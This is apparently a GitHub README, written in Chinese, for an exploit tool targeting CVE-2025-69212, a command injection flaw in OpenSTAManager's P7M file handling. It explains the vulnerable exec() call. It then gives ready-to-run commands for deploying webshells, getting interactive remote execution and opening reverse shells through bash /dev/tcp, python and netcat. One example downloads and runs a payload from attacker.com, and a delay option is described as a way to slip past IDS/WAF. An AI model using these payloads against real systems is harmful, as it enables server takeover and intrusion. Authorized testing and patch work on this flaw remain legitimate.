BridgerAlderson/CVE-2025-69212-PoC

GitHub: BridgerAlderson/CVE-2025-69212-PoC

针对 OpenSTAManager P7M 文件处理中 OS Command Injection 漏洞(CVE-2025-69212)的自动化利用工具,支持从漏洞检测到远程代码执行的完整攻击链。

Stars: 1 | Forks: 1

# CVE-2025-69212 **OpenSTAManager <= 2.9.8 — P7M 文件处理中的 OS Command Injection** ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2025-69212](https://nvd.nist.gov/vuln/detail/CVE-2025-69212) | | **严重程度** | 严重 (CVSS 4.0: 9.4) | | **CWE** | CWE-78: OS Command Injection | | **受影响版本** | OpenSTAManager <= 2.9.8 | | **漏洞函数** | `src/Util/XML.php` 中的 `XML::decodeP7M()` | | **攻击向量** | 上传的 ZIP 存档中的恶意文件名 | | **身份验证** | 需要(任何具有发票导入权限的用户) | | **影响** | 以 Web 服务器用户身份执行完整的 Remote Code Execution | ## 漏洞详情 OpenSTAManager v2.9.8 及更早版本在 P7M(已签名的 XML)文件解码函数中包含一个严重的 OS Command Injection 漏洞。`src/Util/XML.php` 中的 `decodeP7M()` 方法将用户可控的文件名直接传递给 PHP 的 `exec()` 函数而未进行清理,允许经过身份验证的攻击者在服务器上执行任意系统命令。 ### 根本原因 ``` // src/Util/XML.php:100 public static function decodeP7M($file) { $directory = pathinfo($file, PATHINFO_DIRNAME); $output_file = $directory.'/'.basename($file, '.p7m'); exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd); } ``` 源自上传的 ZIP 存档中文件名的 `$file` 参数被双引号包裹,但从未使用 `escapeshellarg()` 进行清理。攻击者可以构造一个 `.p7m` 文件名,使其脱离双引号上下文并注入任意 shell 命令。 ### 入口点 1. **`plugins/importFE_ZIP/actions.php:126`** — 处理包含电子发票的 ZIP 上传时的主要向量 2. **`plugins/importFE/src/FatturaElettronica.php:56`** — 处理单个 `.p7m` 文件的构造函数 ## 功能 | 功能 | 描述 | |---|---| | `--check` | 验证目标是否存在漏洞(创建并检查一个标记文件) | | `--webshell` | 通过 OS Command Injection 部署 PHP webshell | | `--rce` | 通过已部署的 webshell 进行交互式命令执行 | | `--reverse-shell` | 触发 reverse shell(python、nc、nc-e 方法) | | `--cmd` | 盲命令执行(即发即忘) | | `--shell-dir` | 自定义 webshell 写入目录 | | `--method` | 选择 reverse shell 方法 | | `--proxy` | HTTP 代理支持(Burp Suite) | | `--delay` | 请求限速,用于绕过 IDS/WAF | | 自动检测 | 自动发现 importFE_ZIP 模块/插件 ID | ## 安装 ``` git clone https://github.com/BridgerAlderson/CVE-2025-69212.git cd CVE-2025-69212 pip install requests ``` ## 用法 ### 身份验证 ``` # 使用凭据登录 python3 exploit.py -t http://target.com -u admin -p secret --check # 使用现有的 session cookie python3 exploit.py -t http://target.com -c --check ``` ### 漏洞检查 ``` # 自动检测 plugin 并验证漏洞 python3 exploit.py -t http://target.com -u admin -p secret --check # 使用已知的 module/plugin ID python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23 ``` ### Webshell 部署 ``` # 部署 webshell 到默认目录 (files/) python3 exploit.py -t http://target.com -u admin -p secret --webshell # 自定义目录和文件名 python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php ``` ### 交互式 RCE ``` # 部署 webshell + 交互式 shell python3 exploit.py -t http://target.com -u admin -p secret --rce # 使用之前运行中已存在的 webshell python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce ``` ### Reverse Shell ``` # Bash reverse shell(默认,非常可靠) python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 # Python reverse shell python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python # 使用 mkfifo 的 Netcat python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc # 带 -e flag 的 Netcat python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e ``` ### 盲命令执行 ``` # 执行命令(不返回输出) python3 exploit.py -t http://target.com -u admin -p secret --cmd "id" # 下载并执行 payload python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh" ``` ### 网络选项 ``` # 通过 Burp Suite 代理 python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080 # 带请求延迟(2秒) python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2 # 跳过 SSL 验证 python3 exploit.py -t https://target.com -u admin -p secret --check -k ``` ## 完整选项参考 ``` Target: -t, --target Target base URL Authentication: -u, --user Username for login -p, --password Password for login -c, --cookie Existing PHPSESSID value Actions: --check Verify if target is vulnerable --webshell Deploy PHP webshell --rce Interactive shell via webshell --reverse-shell Reverse shell (LHOST LPORT) --cmd COMMAND Blind command execution Shell Options: --shell-dir DIR Webshell write directory (default: files) --shell-name NAME Custom webshell filename --method METHOD Reverse shell method: bash, python, nc, nc-e Plugin Detection: --module-id ID OpenSTAManager module ID --plugin-id ID importFE_ZIP plugin ID Network: --proxy URL HTTP proxy URL -k, --no-ssl-verify Disable SSL verification --delay SECONDS Delay between requests ``` ## 技术细节 ### Payload 结构 该漏洞利用程序构造了一个 ZIP 存档,其中包含一个具有恶意文件名的 `.p7m` 文件: ``` invoice.p7m";INJECTED_COMMAND;echo ".p7m ``` 当 OpenSTAManager 处理此文件时,生成的 `exec()` 调用将变为: ``` openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..." ``` Shell 会将分号解释为命令分隔符,在终止的 `openssl` 调用和末尾的 `echo` 之间执行注入的命令。 ### ZipArchive 文件名限制 所有注入的命令必须完全避免使用 `/`。为了完全绕过此限制并防止 PHP `exec()` 挂起(这可能会占用服务器 worker 并导致超时),漏洞利用程序现在会自动将 Payload 包装在 Base64 中并在后台执行它们: ``` echo | base64 -d | bash >/dev/null 2>&1 & ``` 这允许我们在内部 Payload 中自然地使用 `/`(例如,`/dev/tcp/10.10.14.5/4444`),而不会破坏 ZIP 结构。 ### Reverse Shell 方法 | 方法 | Payload | 需要的条件 | |---|---|---| | `bash` | `bash -c 'bash -i >& /dev/tcp/H/P 0>&1'` | bash | | `python` | `python3 -c "import socket,os,subprocess;..."` | Python 3 | | `nc` | `rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/bash -i 2>&1\|nc HOST PORT >/tmp/f` | netcat + mkfifo | | `nc-e` | `nc HOST PORT -e /bin/bash` | 带有 `-e` 支持的 netcat | `bash` 方法现在是默认方法,因为它是 Linux 目标上最可靠和最原生的方法。 ### 漏洞代码路径 ``` Upload ZIP via importFE_ZIP plugin └── actions.php dispatches to plugin handler └── ZipArchive::extractTo() extracts files └── Iterates .p7m files └── XML::decodeP7M($filename) └── exec('openssl smime ... -in "'.$filename.'"') └── Shell interprets injected commands ``` ## 攻击链示例 ``` 1. --check → Confirm RCE via marker file 2. --webshell → Drop PHP shell to files/ directory 3. --rce → Interactive command execution 4. Enumerate → id, cat /etc/passwd, ifconfig 5. Pivot → Reverse shell to attacker, post-exploitation ``` ## 免责声明 此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是非法行为。在测试之前,请务必获得适当的授权。作者不对滥用行为承担任何责任。 ## 参考 - [CVE-2025-69212 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2025-69212) - [GitHub 安全公告 — GHSA-25fp-8w8p-mx36](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36) - [OpenSTAManager 仓库](https://github.com/devcode-it/openstamanager) - [Lukasz Rybak 的 PoC](https://github.com/lukasz-rybak/CVE-2025-69212)
标签:CISA项目, CVE-2025-69212, OpenSTAManager, OpenVAS, PHP, RCE, 命令注入, 字符串匹配, 安全测试工具, 逆向工具